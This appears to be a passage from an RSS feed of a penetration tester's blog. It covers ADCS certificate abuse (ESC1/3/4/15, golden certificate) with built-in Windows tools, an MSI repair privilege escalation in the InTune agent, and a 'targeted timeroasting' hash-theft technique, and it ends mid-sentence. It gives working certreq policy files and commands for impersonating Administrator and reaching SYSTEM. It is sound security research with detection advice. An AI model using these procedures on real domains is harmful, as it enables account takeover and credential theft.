specific templates. If we have already identified a vulnerable template we can find out on what CAs it is available:</p><pre>certutil -TemplateCAs ESC1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*AkCPe6zqJqyldxdN2rCkNg.png" /></figure><p>Some of the steps in this section could be skipped in a lot of domains because they may not be necessary in simpler configurations, for example every enterprise CA will be automatically trusted for domain authentication and no EKU constraints are applied, but they are useful for troubleshooting in case something doesn’t work or in more complex and secure domains where recommended security practices have been applied.</p><p><strong>ADExplorer Snapshot to BloodHound</strong></p><p><a href="https://github.com/c3c/ADExplorerSnapshot.py">ADExplorerSnapshot.py</a> is a script that has made my life so much easier on multiple engagements. It turns snapshots made with Sysinternals ADExplorer into BloodHound JSON files, and it includes ADCS support. This means we can bypass certutil completely by using this legitimate Microsoft-signed tool.</p><p>Taking the snapshot of a large domain will consume quite a bit of bandwidth, and that amount of LDAP traffic is very obviously domain enumeration. If we aren’t in a rush we can throttle the snapshot creation so it won’t be as suspicious.</p><p>When running the script in BloodHound mode we’ll receive a series of JSON files as output, including one ending with “cert_bh”, importable in BHCE, and two ending with “cert_ly4k”, compatible with the old unofficial BH4 fork that first introduced ADCS support.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZW5UKA8y224PRA3keLETA.png" /></figure><p>After importing these files we can enumerate exploitable templates much more easily. However the ADCS information produced by the script isn’t in the same format typically used by BHCE for ADCS queries, for example it won’t create ADCSESCX edges for us, we’ll have to use slightly different queries. This is an example to find unprivileged users who can enroll on a template vulnerable to ESC1:</p><pre>MATCH q=(u)-[:Enroll]-&gt;(t) WHERE<br>&quot;Client Authentication&quot; IN t.`Extended Key Usage` AND<br>t.`Requires Manager Approval` = FALSE AND<br>t.`Enrollee Supplies Subject` = TRUE AND<br>u.admincount = FALSE<br>RETURN q</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*gdhmobiUMxH4-YinLDTsRQ.png" /></figure><h3>Enrollment</h3><p>certreq is the tool we’ll use for all our CLI enrollment needs. To obtain a certificate that does not require any additional information, like User, we use -enroll.</p><pre>certreq -enroll -q User</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*48fr7HpUpBby6j62OG8RKw.png" /></figure><p>For anything more complex than that we need to create request policy files: these are text files that describe the properties and extensions of a CSR. certreq will take this file and generate a CSR which can then be submitted to the CA.</p><p><strong>ESC1</strong></p><p>An ESC1 policy file only really needs a few properties:</p><ul><li>subject: the DN of the target user</li><li>alternative subject: UPN of the target user</li><li>template name</li></ul><p>For example:</p><pre>[Version]<br>Signature=&quot;$Windows NT$&quot;<br>[NewRequest]<br>Subject = &quot;CN=administrator,CN=Users,DC=testlab,DC=loc&quot;<br>[Extensions]<br>2.5.29.17 = &quot;{text}&quot;<br>_continue_ = &quot;upn=administrator@testlab.loc&quot;<br>[RequestAttributes]<br>CertificateTemplate = ESC1</pre><p>While policy files can be used to fine tune CSR attributes most of these are unnecessary when targeting an enterprise CA, all the necessary settings are taken directly from the template configuration. The type of CSR certreq generates by default is PKCS#10, which is fit for most requests. As we’ll see later when exploiting ESC2 and ESC3 we’ll need to create a PKCS#7 CSR instead.</p><p>After creating this file we generate the CSR:</p><pre>certreq -new esc1.inf output.req</pre><p>And submit it:</p><pre>certreq -submit -config CA.testlab.loc\CA output.req esc1Cert.cer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*NTEkXM1FAc_uSOQf3a7zEg.png" /></figure><p>The issued certificate can be imported by double clicking on it, from the Certificates MMC, or with certreq:</p><pre>certreq -accept esc1Cert.cer</pre><p>If we want to use the GUI enrollment application we can click on the warning below the target template name, and under the Subject tab we specify subject name as a Full DN and the alternative name as a UPN. Certificates obtained this way are automatically added to the current user’s personal store.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGQUzC8-rilgS5Q10gdBRw.png" /></figure><p><strong>ESC2 / ESC3</strong></p><p>ESC3 exploitation requires three steps:</p><ul><li>obtain enrollment agent certificate from vulnerable template</li><li>craft EOBO CSR for another user with a template we have access to (User is usually a safe pick)</li><li>sign CSR with certificate and submit it to CA</li></ul><p>EOBO stands for Enroll-On-Behalf-Of, it allows entities with an Enrollment Agent certificate to obtain certificates in the name of other users. The enrollment agent certificate is used to sign the CSR, this way the CA can verify the enrollee is actually authorized to enroll on behalf of someone else through a valid enrollment agent certificate.</p><p>ESC2 is a vulnerability where a template can be used with any EKU, making exploitation identical to ESC3 since we can use it as an enrollment agent certificate.</p><p>This means we need to add a few specific properties to the .inf file, as the format of an EOBO CSR requires:</p><ul><li>RequesterName = user to impersonate</li><li>RequestType = PKCS7 or CMC</li><li>-cert certreq flag = serial number of enrollment agent certificate</li></ul><pre>[Version]<br>Signature=&quot;$Windows NT$&quot;<br>[NewRequest]<br>RequesterName = TESTLAB\Administrator<br>RequestType = PKCS7<br>[RequestAttributes]<br>CertificateTemplate = User</pre><p>First we enroll the vulnerable enrollment agent certificate:</p><pre>certreq -enroll -q ESC3</pre><p>In order to validate an EOBO CSR the CA will check if it’s been signed with a valid enrollment agent certificate, it then issues the desired certificate. To create a signed CSR we use certreq’s -new command with the -cert flag, where we specify the serial number of the enrollment agent certificate. The serial number is a hash used to identify individual certificates, we can find it in the certreq output or just by looking at its properties with a double click (or with certutil -dump &lt;mycert&gt;).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*UEEJZsiB25TmvrdBXaK8Ng.png" /></figure><pre>certreq -new -cert &quot;380000006ed22bac9f87ff015800000000006e&quot; esc3.inf esc3.req</pre><p>If the CSR is created successfully we can submit it to the CA:</p><pre>certreq -config ca.testlab.loc\CA -submit esc3.req admin.cer admin.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*88FO5hFa7Wsb_Sqf2S5PEg.png" /></figure><p>The .pfx file returned by certreq does contain the private key but it is in a format that I can’t get to work with other tools. A way to bypass this is importing the certificate and private key into our own local user store and then export them as password-protected PFX, the exported file will be finally compatible with other tools:</p><pre>PS:<br>$pass = ConvertTo-SecureString &quot;&lt;password&gt;&quot; -AsPlainText -Force<br>Export-PfxCertificate -Cert &#39;Cert:\CurrentUser\My\&lt;thumbprint&gt;&#39; -Password $pass -FilePath cert.pfx<br><br>certutil:<br>certutil -exportPFX My &lt;thumbprint&gt; cert.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RoTSbLx1myfDbPfczJ_o9Q.png" /></figure><p>The exploitation process isn’t any more complex from GUI. Again the Enrollment Agent certificate should not require additional information so we can easily obtain it from the Certificate Enrollment application opened by the Certificates MMC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kY05Fqzev7uc82A4Rw5UCg.png" /></figure><p>EOBO requests can be performed from the Advanced Operations menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*o56LK7UOdiuhcXASYUBOMw.png" /></figure><p>You’ll have to select a valid enrollment agent certificate from the user’s store.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*MfHunueXLgdxxGX8OjO14Q.png" /></figure><p>And then select one of the templates our user has access to, User is present by default, every user can enroll it and it has exportable private keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*FuWu7fViEPOjiH1HXyR1fw.png" /></figure><p>Next it’ll ask for the user you want to enroll on behalf of, and after that the request will be sent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K4eoPsUjp6vyKLg6UlZHsg.png" /></figure><p>If we need to use these certificates with other tools we can export them by right clicking on them -&gt; All Tasks -&gt; Export, selecting to export the private key too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*BtrNrpcYLeLT8WS8X42UgA.png" /></figure><p>Tools like certipy aren’t compatible with password-protected certificates so we need to strip the password away first:</p><pre>certipy cert -pfx passwordProtected.pfx -password &#39;AAAAaaaa!1&#39; -export -out passwordFree.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*6DMLcLKth93NV39gQyvUjQ.png" /></figure><p><strong>ESC15</strong></p><p>ESC15 exploitation is similar to ESC1, but with a different policy file. Here we define a section for custom application policies where we include the OID of the EKU we want to be injected into the certificate, usually 1.3.6.1.5.5.7.3.2 for Client Authentication. If the vulnerable template is of Machine type, like WebServer, we need to mark the key as exportable and specify to not use the computer store.</p><pre>[Version]<br>Signature=&quot;$Windows NT$&quot;<br>[NewRequest]<br>Subject = &quot;CN=administrator,CN=users,DC=testlab,DC=loc&quot;<br>MachineKeySet = FALSE<br>Exportable = TRUE<br>[ApplicationPolicyStatementExtension]<br>Policies = AppPolicies<br>[AppPolicies]<br>OID = 1.3.6.1.5.5.7.3.2<br>[Extensions]<br>2.5.29.17 = &quot;{text}&quot;<br>_continue_ = &quot;upn=administrator@testlab.loc&quot;<br>[RequestAttributes]<br>CertificateTemplate = WebServer</pre><p>When requesting certificates of Machine type with users who aren’t local admins we see this warning:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*-p_5CZJf8iB2JxVEKqv-Lw.png" /></figure><p>This is because this type of certificates by default gets stored in the local computer’s store, which unprivileged users cannot access. We can ignore it by clicking OK because as defined by the policy file we are storing the certificate in the user store.</p><p><strong>Golden Certificate</strong></p><p>Assuming the compromised CA does not make use of an HSM to protect its root private key creating a backup is trivial:</p><pre>certutil -backupkey outputDir</pre><p>The private key should then be moved to a computer where we can safely run certipy’s forge command.</p><p><strong>Briefly: ESC4</strong></p><p>ESC4 may require a little more tinkering, but altering AD template objects is definitely possible with Microsoft-signed tools like ADExplorer (GUI), ldp.exe (GUI) and ldifde.exe (CLI). The way certipy exploits ESC4 is by backing up the vulnerable template and then overwriting it partially with the values of the SubCA template, but adding an ACE that allows Authenticated Users to use the template. This makes the template temporarily vulnerable to ESC1, because SubCA accepts user-supplied SAN and doesn’t require manager approval. These are the attributes that are replaced and their values, taken from the certipy source:</p><pre>CONFIGURATION_TEMPLATE = {<br>    &quot;showInAdvancedViewOnly&quot;: [b&quot;TRUE&quot;],<br>    &quot;nTSecurityDescriptor&quot;: [<br>        b&quot;\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xc8\xa3\x1f\xdd\xe9\xba\xb8\x90,\xaes\xbb\xf4\x01\x00\x00&quot;  # Authenticated Users - Full Control<br>    ],<br>    &quot;flags&quot;: [b&quot;0&quot;],<br>    &quot;pKIDefaultKeySpec&quot;: [b&quot;2&quot;],<br>    &quot;pKIKeyUsage&quot;: [b&quot;\x86\x00&quot;],<br>    &quot;pKIMaxIssuingDepth&quot;: [b&quot;-1&quot;],<br>    &quot;pKICriticalExtensions&quot;: [b&quot;2.5.29.19&quot;, b&quot;2.5.29.15&quot;],<br>    &quot;pKIExpirationPeriod&quot;: [b&quot;\x00@\x1e\xa4\xe8e\xfa\xff&quot;],<br>    &quot;pKIOverlapPeriod&quot;: [b&quot;\x00\x80\xa6\n\xff\xde\xff\xff&quot;],<br>    &quot;pKIDefaultCSPs&quot;: [b&quot;1,Microsoft Enhanced Cryptographic Provider v1.0&quot;],<br>    &quot;msPKI-RA-Signature&quot;: [b&quot;0&quot;],<br>    &quot;msPKI-Enrollment-Flag&quot;: [b&quot;0&quot;],<br>    &quot;msPKI-Private-Key-Flag&quot;: [b&quot;16842768&quot;],<br>    &quot;msPKI-Certificate-Name-Flag&quot;: [b&quot;1&quot;],<br>    &quot;msPKI-Minimal-Key-Size&quot;: [b&quot;2048&quot;],<br>}</pre><p>Once the configuration is modified the attacker enrolls on the template by supplying a privileged user name in the SAN and receives a client auth certificate. The template can then be restored to its original configuration with the same LDAP client tool.</p><h3>Certificate Logon</h3><p><strong>CredMarshalCredential</strong></p><p>The easiest way to use a certificate for client authentication without any external tools is CredMarshalCredential, a Windows API function used to turn (marshal) any credential into a string. The marshalled credential can then be fed into any API that supports launching processes with just a username and password.</p><p>The builtin Get-Credential cmdlet is usually used to turn username and password into PSCredential objects, but it also looks for valid client authentication certificates in our certificate store as it uses CredMarshalCredential under the hood:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*SFSwxHgG4ctRb7Q0dUA13g.png" /></figure><p>With this PSCredential we can launch a PSSession as the impersonated user:</p><pre>$cred = Get-Credential<br>Enter-PSSession -ComputerName dc.testlab.loc -Credential $cred</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*4OgWIUvLQwMMBb_VbG_4_Q.png" /></figure><p>Or, if we do not have a GUI to select a certificate with, we can pass its thumbprint in the CertificateThumbprint parameter:</p><pre>$options = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck<br>Enter-PSSession -ComputerName dc.testlab.loc -SessionOption $options -CertificateThumbprint &lt;aabbccdd..&gt;</pre><p>This method will not work from a non-domain joined machine, instead we can use <a href="https://www.synacktiv.com/publications/understanding-and-evading-microsoft-defender-for-identity-pkinit-detection">Synacktiv’s</a> script <a href="https://github.com/synacktiv/Invoke-RunAsWithCert/blob/main/Invoke-RunAsWithCert.ps1">Invoke-RunAsWithCert</a>, which uses CredMarshalCredentialto create a new process with CreateProcessWithLogon, but it requires local admin permissions.</p><p>Something to note is that certificates obtained from ESC15 cannot be used with Get-Credential. The cmdlet only lets us pick certificates with the Client Authentication OID inside the Enhanced Key Usage EKU, but these certificates store the OID inside the Application Policies extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*AiENfdnjsiXRCM-rzIHwLg.png" /></figure><p>While I haven’t tried this, it should still be possible to use such certificates by manually calling <a href="https://gist.github.com/fsheik/ce96215f813e0d2fff07b51e70400f5a">CredMarshalCredential</a> instead of going through Get-Credential. An example of this can be seen in <a href="https://gist.github.com/fsheik/ce96215f813e0d2fff07b51e70400f5a">GetSmartCardCred.ps1</a>.</p><p><strong>SChannel / SOAP</strong></p><p>There might be cases where we do not want to (or we cannot) rely on PSSessions, for example domains that only allow WinRM connections from specific hosts, or certificates without a proper client auth EKU (ESC15). In these situations SChannel authentication is possible, albeit with a little custom tooling.</p><p>I could not find any builtin Windows binaries that allow LDAP authentication with X.509 certificates, but .NET’s LdapConnection and DsmlSoapHttpConnection classes do. The SOAP API of Active Directory Web Services (ADWS) is enabled by default on domain controllers and is accessible on port 9389 to access the directory in a sneakier way compared to LDAP.</p><p>In both cases the steps are the same, both classes have a ClientCertificate property where we can provide a client auth certificate, but custom tooling is out of the scope of this post. Besides I would be curious to find any third party LDAP clients with working support for SChannel authentication.</p><h4>Conclusion</h4><p>Not only ADCS vulnerabilities are incredibly common, but there are stealthier ways to exploit them by harvesting the power of builtin Microsoft binaries. Usage of certreq and certutil should be monitored, and if they are spotted in the logs of an average user it’s a red flag.</p><p>ADCS environments need to be thoroughly tested, the number of known vulnerabilities keeps increasing: we are at ESC16 now (it’s basically ESC9 but applied universally on every template of a CA, causing every certificate to be issued without the szOID_NTDS_CA_SECURITY_EXTextension), and some of them do not even have their own cool name. The next part of this series will focus on these lesser known vulnerabilities.</p><p><strong>References</strong></p><ul><li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil</a></li><li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certreq_1">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certreq_1</a></li><li><a href="https://devblogs.microsoft.com/scripting/powershell-support-for-certificate-credentials/?hide_banner=true">https://devblogs.microsoft.com/scripting/powershell-support-for-certificate-credentials/?hide_banner=true</a></li><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credmarshalcredentialw">https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credmarshalcredentialw</a></li><li><a href="https://www.synacktiv.com/publications/understanding-and-evading-microsoft-defender-for-identity-pkinit-detection">https://www.synacktiv.com/publications/understanding-and-evading-microsoft-defender-for-identity-pkinit-detection</a></li><li><a href="https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/constraints-what-they-are-and-how-they8217re-used/1129048">https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/constraints-what-they-are-and-how-they8217re-used/1129048</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c6494d6a84e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LPE in InTune Windows Agent MSI]]></title>
            <link>https://medium.com/@offsecdeer/lpe-in-intune-windows-agent-msi-8b2a37edee61?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b2a37edee61</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 07:57:29 GMT</pubDate>
            <atom:updated>2025-03-25T07:57:29.376Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog is about a little LPE vulnerability I found while testing a Windows 11 VM serviced by InTune. Part of my local recon routine consists in looking at the cached MSI installers as they may allow unprivileged users to launch repair operations. Program repairs are interesting from an attacker’s point of view because they are forced to run as SYSTEM, since they need elevated privileges to fix a broken install. This means unprivileged users can spawn SYSTEM processes at will with MSI installers, either by clicking on them or through <em>msiexec.exe</em>. <br> <br>It is here that many developers accidentally introduce vulnerabilities in their installers, because if any of these operations can be hijacked by an unprivileged user they will gain the ability to execute actions as SYSTEM. One common exploitable behavior is running an external terminal application as SYSTEM, which is the case covered here.<br> <br><strong>Recon<br></strong>Windows stores the MSI of installed programs in <em>C:\Windows\Installer</em>, giving them a very unhelpful random name. The same installer will hold a different name on two different hosts, and on top of that existing installers can get automatically renamed. If we add the <em>Subject</em> column to Explorer we can view the program they belong to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*Xa43lMZR-inn0Nk-vyKjsA.png" /></figure><p><a href="https://github.com/mandiant/msi-search">msi-search</a> is a little utility that allows to enumerate these installers through WMI, useful if we don’t have access to a GUI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*yTYFGNH2PV_JRYwrS5zKmg.png" /></figure><p>If we can’t query WMI we can always query the registry, which is where Windows keeps track of each user’s installed programs:<br> <br><em>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\&lt;UserSID&gt;\Products<br> <br></em>Every registered application has a folder named after its GUID, and in each one we can find the path of the cached installer under <em>InstallProperties\LocalPackage</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*5jGJq5gcXPPcuGxux8Mfvg.png" /></figure><p>I wrote a little <a href="https://gist.github.com/OffsecDeer/4890b061ab3e70c2b13939226a8d9689">PowerShell script</a> to automatically list installers found in the registry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*3in_Sn0e-eejqJCsOmPzLA.png" /></figure><p>While going through the MSI files on my target I noticed a cmd window would quickly flash on screen when launching <em>InTune Windows Agent Package</em>, so I looked deeper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*WGtKqTQ_j53bhN9SAYZMXg.png" /></figure><p>One way to analyze MSI installers is through Microsoft’s Orca tool, obtainable from the Windows SDK. An MSI is essentially a relational database with several tables that dictate the behavior of the installation process, and Orca allows us to see their content.<br> <br>External applications that need to be run during installation/repair/removal are defined in the <em>CustomAction</em> table, and it’s here that we can find the full path of the flashing window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*8oVqDxCIS4vsYLbuovn5TQ.png" /></figure><p>The <em>CopyCatalog</em> action launches an external program at <em>C:\Program Files (x86)\Microsoft Intune Management Extension\Microsoft.Management.Clients.CopyAgentCatalog.exe</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*_TEkVhuWYhFaB_ECSmslhQ.png" /></figure><p>This executable is also signed by Microsoft.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*1kYoVIHSu0a61e-pz6SCHA.png" /></figure><p>The best way to find out what is going on during the execution of an MSI is through Sysinternals Procmon. Here we notice <em>msiexec.exe</em>, the program used to run MSI files under the hood, launching a process for the aforementioned binary. This program is running in the context of SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*55ol889VVe4SdFNohJk7nQ.png" /></figure><p>When analyzing MSI files it’s also important to check the DACL of each program ran during the repair process, including the existence of the DLL they load. It’s not uncommon to find misconfigured DACL that could allow an attacker to replace the target binary with a malicious one, or missing DLLs that can be implanted and executed with DLL hijacking.<br> <br>Either way we now need to find a way to interact with the flashing window.</p><p><strong>Exploitation</strong></p><p>The easiest method consists in slowing down the system, for example by spawning hundreds of windows in a simple loop right after launching the MSI. We can spawn them minimized so they don’t prevent us from interacting with our target, and this should leave the cmd window open just long enough for us to catch it. This PowerShell one-liner should do the job:</p><pre>for ($i = 0; $i -lt 200; $i++) {  Start-Process -WindowStyle Minimized powershell.exe }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*i2bkAcaXXf6R0nPZYthnEw.png" /></figure><p>This turned out to be an effective and reliable method on the VM I was on because it didn’t have a lot of resources, but computers with higher amounts of memory aren’t going to be bothered as much.<br> <br>With the computer slowed down we should be able to select some text in the window body, this way it should not close even if the program is done running, then right click on the title bar and select Properties.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*aOHtq-1LyXwvcankPeZ86A.png" /></figure><p>The Properties dialog has two blue links at the bottom, clicking on them triggers the execution of a web browser running under SYSTEM, since it is spawned by another SYSTEM process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*gvLYl5KAy_1oDAHDBKBKBw.png" /></figure><p>From the browser we can open the Print menu and select Microsoft Print to PDF as the printer, so that a Save File dialog appears on screen. Finally, if we click on the path bar at the top, we can type <em>C:\Windows\System32\cmd.exe</em>, press enter, and we’ll have a cmd window running as SYSTEM. From here we can add ourselves to the local admin group, establish persistence, or do whatever we fancy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*1iFXW1lC0I6zLN3Hx50uhQ.png" /></figure><p>The issue was reported to Microsoft, who fixed it towards the end of October 2024. If your Azure tenant uses InTune to service Windows VMs you should check if your hosts are still affected.<br> <br>Issues like this show how application developers need to pay close attention to how their installation and repair process is structured: repairs can be triggered by any unprivileged user and can lead to the execution of arbitrary commands as SYSTEM if any of these privileged actions can be hijacked, such as spawning a new console application as SYSTEM or attempting to load a missing DLL from a writable location.<br> <br>I also hope pentesters start paying more attention to cached MSI files, as they can reveal themselves to be an unexpected ally.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b2a37edee61" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Targeted Timeroasting: Stealing User Hashes With NTP]]></title>
            <link>https://medium.com/@offsecdeer/targeted-timeroasting-stealing-user-hashes-with-ntp-b75c1f71b9ac?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/b75c1f71b9ac</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Tue, 21 Jan 2025 21:17:28 GMT</pubDate>
            <atom:updated>2025-01-21T21:20:42.138Z</atom:updated>
            <content:encoded><![CDATA[<p>Domain admins can manipulate user attributes to obtain MS-SNTP hashes for accounts other than computers. This can be used as an alternative privileged credential theft technique. I am calling it “targeted timeroasting” due to the similarities with attacks like targeted kerberoasting and AS-REP roasting, where accounts that normally couldn’t be targeted with these attacks are tampered to make them vulnerable, potentially allowing attackers to retrieve the user’s clear text password from offline cracking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*KkL2h8-juYFXdn8wQNEQpA.png" /></figure><p>Timeroasting is an interesting attack discovered and documented by <a href="https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf">Tom Tervoort from Secura</a>. The attack relies on <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sntp/8106cb73-ab3a-4542-8bc8-784dd32031cc">MS-SNTP</a>, Microsoft’s own authentication extension to the NTP and SNTP protocols used by domain joined hosts to synchronize time with a domain controller.</p><p>Unauthenticated clients can take a list of RIDs and send MS-SNTP requests to a DC to collect MD5 digests calculated with domain computer hashes. This makes timeroasting a viable method to identify and crack pre-created machine accounts and other weak computer passwords in a stealthier manner than by using dictionaries or tools like <a href="https://github.com/garrettfoster13/pre2k">pre2k</a>.</p><p>As I mentioned in my article about <a href="https://medium.com/@offsecdeer/finding-weak-ad-computer-passwords-e3dc1ed220df">weak computer passwords</a> timeroasting has two weaknesses:</p><ul><li>it can only be used to obtain computer hashes</li><li>it requires a way to map RIDs to usernames, so either NULL sessions or valid domain credentials</li></ul><p>I found it fascinating how NTP can be used to potentially compromise Active Directory accounts, but these constraints are very limiting. This is why I started thinking about alternative ways to widen the scope of timeroasting.</p><p>I asked myself, how does a DC check whether an account is a computer or a user? Could we maybe trick Windows into thinking a user account is actually a computer, and make it send us its hash? We sure can.</p><p><strong>User or Computer?</strong></p><p>AD users have a sAMAccountType attribute which informs us on the account subtype an object belongs to, the most common <a href="https://learn.microsoft.com/en-us/windows/win32/adschema/a-samaccounttype">values</a> being:</p><ul><li>SAM_NORMAL_USER_ACCOUNT (0x30000000) = users</li><li>SAM_MACHINE_ACCOUNT (0x30000001) = computers</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*d1CuOA-JUc8p97xNMz3cOA.png" /></figure><p>Normally this attribute can’t be modified, not even by domain admins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*SVYBgC41zNWuhLADbY0hmw.png" /></figure><p>Luckily for us a an object’s sAMAccountType is automatically updated to reflect the type of account found in its userAccountControl flags. This attribute has in fact several flags to select an account’s characteristics:</p><ul><li>UF_NORMAL_ACCOUNT = 512 (users)</li><li>UF_WORKSTATION_TRUST_ACCOUNT = 4096 (computers)</li><li>UF_SERVER_TRUST_ACCOUNT = 8192 (domain controllers)</li></ul><p>These flags are mutually exclusive, as only one of these values can be set at any given time. When a user’s userAccountControl is changed to 4096 its sAMAccountType is automatically updated to SAM_MACHINE_ACCOUNT, making the DC treat it like a computer.</p><p>By the <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380">MS-SAMR specification</a> under normal circumstances it shouldn’t be possible to modify an existing account’s userAccountControl to swap UF_NORMAL_ACCOUNT for UF_WORKSTATION_TRUST_ACCOUNT or viceversa, not even when full write permissions are granted on the target account, however domain admins are exempt from this rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*Ibqz4yR35NeN6RRFsRVWyA.png" /></figure><p>This means that unfortunately targeted timeroasting cannot be used as an unprivileged account takeover technique, like targeted kerberoasting and AS-REP roasting, shadow credentials, ESC14, etc.</p><p>Before a DC decides to calculate an MS-SNTP hash for a user account it also checks if its sAMAccountName ends with a $. As domain admins modifying the attribute is trivial, as long as there isn’t already another account with the target’s name plus a trailing $ in the domain.</p><p>Once a user’s userAccountControl and sAMAccountName are modified the domain controller will happily give out its hash to anyone asking.</p><p><strong>PoC</strong></p><p>It is important to note that user accounts cannot be used for interactive logons while UF_WORKSTATION_TRUST_ACCOUNT is set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*T9JP3McMW8AJBCoECKP-1Q.png" /></figure><p>Open sessions seem to be completely unaffected, and if the original attributes are restored immediately after receiving the hash the user won’t notice any disruptions.</p><p>I modified Jacopo Scannella’s <a href="https://github.com/SecuraBV/Timeroast/blob/main/timeroast.ps1">PowerShell timeroasting script</a> to make a rough PoC which you can find on my <a href="https://github.com/OffsecDeer/TargetedTimeroast">GitHub</a>. It requires to be run with domain admin credentials from a domain-joined host with the PowerShell ActiveDirectory module installed. It works as such:</p><ol><li>grab target’s objectSid and userAccountControl attributes</li><li>set target’s userAccountControl to UF_WORKSTATION_TRUST_ACCOUNT (4096)</li><li>add a trailing $ to target’s sAMAccountName</li><li>verify the attributes were modified correctly (optional)</li><li>extract RID and send it to DC in a MS-SNTP client request</li><li>extract hash from server response</li><li>restore original userAccountControl and sAMAccountName values</li><li>check if the restore was successful (optional)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*IsAfeuGAN2Dss-ZUkIETgg.png" /></figure><p>If we look at the packet exchange we see it’s literally just an NTP transaction, with the RID being provided in the request and the reply containing the digest generated from the account’s NT hash. The salt appended to the hash by the script is taken from the bytes of the reply’s NTP packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_G9hcMy_WUbhnzqBKXKMsg.png" /></figure><p>Again this is just a quick and dirty PoC made by someone with no serious PowerShell scripting experience, and since the script temporarily modifies every target user I wouldn’t use it against an entire domain, but rather a select few users.</p><p>Hashcat’s 31300 mode can help us bruteforce these hashes, we need to either build the program from source or download the <a href="https://hashcat.net/beta/">beta</a> to 